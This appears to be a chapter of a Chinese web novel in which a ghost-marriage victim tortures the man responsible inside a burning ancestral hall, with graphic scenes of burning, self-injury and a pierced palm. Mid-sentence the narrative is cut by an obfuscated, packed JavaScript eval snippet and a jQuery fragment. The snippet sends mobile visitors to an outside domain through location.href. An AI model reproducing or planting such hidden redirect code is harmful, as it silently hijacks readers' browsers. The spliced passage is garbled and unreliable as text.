在大火的攻势下,路上,到处是浑身冒火的人在尖叫,求救,奔跑,乱成一团。
他们或是一头扎进河里,或是在地上不停地滚动,试图灭火,但也无济于事。
四人身处于其中,火人由身旁跑过,甚至能闻到一股淡淡的焦糊味。
夜幕,下着大雨灭不掉这火,河水灭不掉这火。
他们只能活着,清晰地体会到,跳跃的火舌正在舔舐他们的皮肤,持续性的灼热剧痛,听到毛发噼里啪啦的燃烧声,被长时间炙烤后的皮肤产生诡异的冰凉错觉。
到后面,声带撕裂般的嚎叫会突然中断,高温气体灼伤了他们的呼吸道,连尖叫都做不到,一幅人间炼狱的景象,偏偏房屋却完好无损,更添诡异。
一处火光最胜,是祠堂,全村独独祠堂,这一座屋子燃烧着。
整座祠堂,浓烟翻滚着,热浪灼烧着,屋顶的瓦片在烈焰中扭曲变形,火浪吞没整面墙,将夜空染成病态的橘红。
四人推开被火烧得变形的大门,房梁就发出不堪重负的呻吟,突然断裂,无数燃烧的碎片如流星般砸向地面。
所有排位倒在地上,聚在一起燃烧着,昔日受人尊敬,专门供奉在祠堂里的排位,现在就像柴堆一样,最终沦为灰烬,不复存在。
祠堂中央的真空地带,不知是谁放了把椅子,在火海中,常昭摇着圆扇,翘着二郎腿,笑意盈盈,悠哉悠哉,颇有股郊游的意味。
在她的对面,幻境中的纸人在现实中,像铁钳般按倒四肢挣扎的吴员外,吴员外眼睛瞪得极大,身体不受控制地哆嗦。
吴员外胡乱中,扭头瞥见了自己的女儿也在现场,血色从他的脸上瞬间抽离,惨白地像刷了一层石灰。
他顾不上挣脱危险的纸人,吴员外发出撕心裂肺地吼叫,“快走!”
常昭眉眼微挑,嘴角轻撇,似恼非恼,手一轻挥,门关上了,“来都来了,走什么?”
“你们来啦!”常昭摇着扇,向四人打招呼,语气欢快,“怎么都活着出来了?”
许玉习惯地将林岁护在身后,吴小姐见父亲被按倒在地上,毫不犹豫地就冲上前去,林岁反应过来时,她已经跑到前头去了。
Nozuonodie!
此情此景,林岁心里蹦出这句话,这种行为简直就是找死,但林岁总不能眼睁睁看着她去死。
林岁刚迈出一步,想乘现在还来得及,拉她回来,许玉就一只手死死地箍住林岁的细腰。
吴小姐拉扯着纸人的手,纸人薄得透光的躯体微微颤动,仿佛下一秒就会碎裂。
但并不如此,它如锋利的刀,割得吴小姐的双手鲜血淋漓,即使这样,吴小姐也不松手。
“女儿,快松开,没用的。”吴员外颤抖沙哑地说,眼睛里都是慌张。
“爹不是总夸我力气大吗?一个纸人我能掰不动它?”吴小姐声音发虚,却笑着说。
吴小姐前半生生活在舒适区,对她来说,这一切都过于离奇,地下的棺材,虚假的幻境,灭不掉的火灾,能行动的纸人,她心里怎么能不害怕,但父亲更重要。
每个纸人分身,按着吴小姐的肩膀,膝盖窝被狠狠踹中,骨骼与地面相撞的闷响声,吴小姐指甲扣进掌心,也抵不住肩头的千钧之力,她跪着地。
“父女情深。”常昭起身缓步,走到吴小姐面前,用扇子挑起吴小姐的下巴,吴小姐倔强地别开脸。
常昭睨了吴员外一眼,“吴佣,你倒是有个好女儿啊。”
“放过她吧。”吴员外的声音像被掐住脖子的鸟,时而尖锐,时而嘶哑,“有什么,你冲我来,她当年还小,什么都不知道。”
“那你求我呀。”纸人松开吴员外,常昭拖长了尾音,眼睛微微眯起,像只逗弄猎物的猫。
“爹,别求她!”吴小姐呼吸短促不稳,说话时带着轻微的抽噎,吴员外向着女儿轻轻摇头。
“求您,求求您,放过我女儿吧。”吴员外跪伏在地,额头重重砸在地上,每一次磕头都用尽全力,血丝渗出,“你要我怎么样都行,我什么都愿意做……”
吴小姐的眼眶再也盛不住,泪水泼墨般冲刷整张脸,爆发出撕心裂肺的哭喊,尖锐到让人耳膜刺痛。
“真吵。”常昭按了按耳朵,纸人上前捂住吴小姐的嘴,未出口的哭声被闷成一声“唔——”。
直到鲜血顺着吴员外的眉骨滴下,常昭才开口说道,“磕得挺好的。”
“那……”吴员外眼里带着期待希望,抬眼望向常昭,在吴员外的目光中,常昭轻轻摇了摇头。
“你答应过我的,你会放过她,你不能不守诺言,你不能!”吴员外脖颈上青筋暴起,唾沫星子从咬紧的牙关间迸溅出来,他还想起身理论,被纸人按住。
“我答应过,你求我,我就放过她吗?”常昭嘴角擒着一抹坏笑,“当时,我求你,你可也没放过我呀。”
“那一天,我永远记得,我额头比你严重多了,把嗓子都喊哑了,你不还是令人拉着我到棺材里去了吗?”常昭的声音压得极低,像从地底爬出来的呢喃。
常昭,也是冥婚受害者的一员。
受害者以同意的方式,对待加害着,需要阻止吗?
常昭抬起一只手,白皙鲜嫩的手掌上有着一个洞穿掌心的窟窿,窟窿周边都是干枯的褐色的血。
“你恐怕不知道,我为了将手从桃木钉上拿下,有多痛吧。”
常昭直直地盯着吴员外,“你们可真狠心,把桃木钉与棺材底钉得死死的,我只能硬生生地从钉子的上面穿出。”
钉子上粗下细,常昭又经历了一遍钉子钉手的穿心之痛。
吴员外眼神闪躲,冷汗浸湿后背,心虚害怕地低下头,捂住耳朵,试图隔绝常昭的声音。
“捂住耳朵,就有用吗?”常昭一个眼神,纸人钳住吴员外的双手,强迫他抬起头。
“这还只是开始呢。”常昭微笑着,声音甜得像蜜,“我满心欢喜地以为我能逃出去了,结果棺材盖的四角被铁钉上,现在棺材盖里头还留着我的挠痕。”
在棺材里,垂死的常昭用最后力气在呼救,即使她知道获救的几率,微乎其微,但万一呢,万一成功了呢?
指甲早已磨秃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15305340|166242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,少女往日的手,手腕纤细,指尖圆润,透着一种倔强的生命力,那时只剩下血肉模糊的指节在木门上蹭出黏腻的声响。
“窒息,饥饿,黑暗,恐惧……我体会的,你们会统统体会一遍,鞭子不打到自己身上,你们就不知道痛。”常昭眼睛一翻,只有眼黑,没有眼白。
常昭的眼球在眼眶里高速震颤,指着吴员外的鼻子骂道,“你们都是伪君子,嘴上说着仁义道德,其实只是一个借口,一个理由来牺牲我们,满足你们自己的利益。”
纸人重新按倒吴员外,吴员外的惨叫先是尖锐的,随后在最高处突然断裂,变成嘶哑的。
“这还只是开始,省着点力气。”常昭又回到了椅子上,满意地欣赏着吴员外的表情。
到最后,吴员外就像一条刚从水里捞上来的死狗一样,瘫倒在地面上,连叫,也没力气叫了。
林岁出声阻止道,“你已经结了因果,不要沾染人命。”
“那就这样放过他了吗?”常昭的瞳孔缩成针尖,声音却冷得像冰,“那我算什么?这么多年来被迫害的姐妹算什么?”
“交由官府,刑法律例会替你讨回公道。”林岁的目光像淬了火的铁,灼热而不可动摇。
“这就是你的答案?”常昭嗤笑一声,摇了摇头,声音压低。
“在我受难时,官府不来帮助我,现在轮到我报仇了,你来劝告我交由官府,我偏要亲手了解他的生命。”
远处传来隐约的雷鸣,仿佛天怒将至。两人的目光在空中交汇,谁也不肯退让。
林岁的肩膀僵硬,像一张拉满的弓,随时可能迸发。许玉的嘴角绷成一条直线,眼底暗潮汹涌。
常昭原本含笑的眼睛冷下来,只申锐利的审视,她从怀中掏出一个表面刻满了古老的符文的盒子。
它的通体流转着银白色的柔光,仿佛将一泓月色封存在了其中。
盒盖中央嵌着一枚宝石,宝石内里会浮现出朦胧的幻影,仿佛它链接着某个未知的时空。
月光宝盒?
怎么会到常昭的手上?它不是放在青无派严加看管吗?
林岁的视线像被磁铁吸住,死死黏在那物体上。
“月光宝盒”,是青无派的镇门之宝,其实它不叫月光宝盒,具体叫什么林岁也忘记了。
是林岁给它取得绰号,远远地望过一眼,外观酷似看过月光宝盒,因此得名。
吴小姐芳龄十八,常昭见过幼时的吴小姐,那么她的成鬼时间远远不足十八年,按常理不可能有布局幻境的能力。
如果她有月光宝盒在手,结界,幻境,还有诡异的火,都情有可原了。
但月光宝盒咋到她手上的?总不可能是捡的吧?
有宝盒在她手上,就他们几个,也打不过常昭啊!
林岁左眼跳了一下,不好的预感。
林岁转头准备和许玉商量对策,他像是失去了生机的木偶,不,不止他,其它人也一样,连屋外的雨声也暂停了。
“你好,异世之人,我是你的系统。”宝盒中传来金属质感,无情绪起伏的机械音。